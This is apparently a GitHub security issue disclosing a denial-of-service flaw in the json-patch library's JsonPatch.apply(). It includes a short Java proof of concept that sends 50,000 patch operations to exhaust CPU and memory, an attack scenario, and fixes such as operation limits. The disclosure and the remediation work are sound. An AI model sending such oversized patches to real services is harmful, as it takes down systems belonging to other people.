Skip to content

[Security] Denial of Service via Unbounded Patch Operations and deepCopy in JsonPatch.apply() #167

Description

@york-shen

Security Vulnerability Report

Metadata

Field Value
Affected Version 1.13 (latest on Maven Central)
Component JsonPatch.apply()
File src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113
CWE CWE-400 (Uncontrolled Resource Consumption)
CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Summary

JsonPatch.apply() accepts an unbounded number of patch operations with no limit, timeout, or backpressure mechanism. Each operation internally calls node.deepCopy(), resulting in O(N×M) resource consumption (N = number of operations, M = document size). A single HTTP request containing a large JSON Patch document can exhaust server CPU and memory.

Root Cause

// src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113
public JsonNode apply(final JsonNode node) throws JsonPatchException {
    JsonNode ret = node;
    for (final JsonPatchOperation operation : operations) {  // No limit on operations.size()!
        ret = operation.apply(ret);  // Each apply() calls deepCopy() internally
    }
    return ret;
}

There is:

  • No maximum number of operations
  • No timeout or operation budget
  • No backpressure mechanism
  • deepCopy() on every operation multiplies memory consumption

Proof of Concept

Runtime verified on VM with OpenJDK 21:

--- Test 4: DoS via Unbounded Patch Operations ---
Applied 50000 operations in 68791ms, result has 50000 fields
VULNERABLE: No limit on number of patch operations accepted

Minimal reproduction:

import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;

ObjectMapper mapper = new ObjectMapper();
ArrayNode ops = mapper.createArrayNode();

// Create 50,000 add operations
for (int i = 0; i < 50000; i++) {
    ops.addObject()
        .put("op", "add")
        .put("path", "/field" + i)
        .put("value", "data" + i);
}

JsonPatch patch = JsonPatch.fromJson(ops);
JsonNode target = mapper.createObjectNode();

// This takes 68+ seconds and consumes massive memory
JsonNode result = patch.apply(target);  // 68,791ms!

Attack scenario:

  1. Attacker sends a single HTTP request with 50,000+ JSON Patch operations
  2. JsonPatch.apply() processes all operations sequentially
  3. Each operation calls deepCopy() on the growing document
  4. Server thread blocked for 68+ seconds; memory grows quadratically
  5. Multiple concurrent requests exhaust thread pool and memory

Impact

  • Denial of Service: Single HTTP request blocks a server thread for 68+ seconds
  • Memory exhaustion: Each operation copies the entire document; 50,000 ops on a 1KB document = ~50MB+ allocations
  • Thread pool exhaustion: 4-8 concurrent malicious requests exhaust typical thread pools
  • No authentication required: Any endpoint accepting JSON Patch is vulnerable

Suggested Remediation

  1. Add configurable maximum operation count (default e.g. 10,000):
public JsonNode apply(final JsonNode node) throws JsonPatchException {
    if (operations.size() > maxOperations) {
        throw new JsonPatchException("Patch exceeds maximum operation count: " + maxOperations);
    }
    // ... existing logic
}
  1. Consider structural sharing instead of deepCopy() per operation — copy-on-write or immutable tree would reduce O(N×M) to O(N+M).

  2. Add operation timeout for long-running patches.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions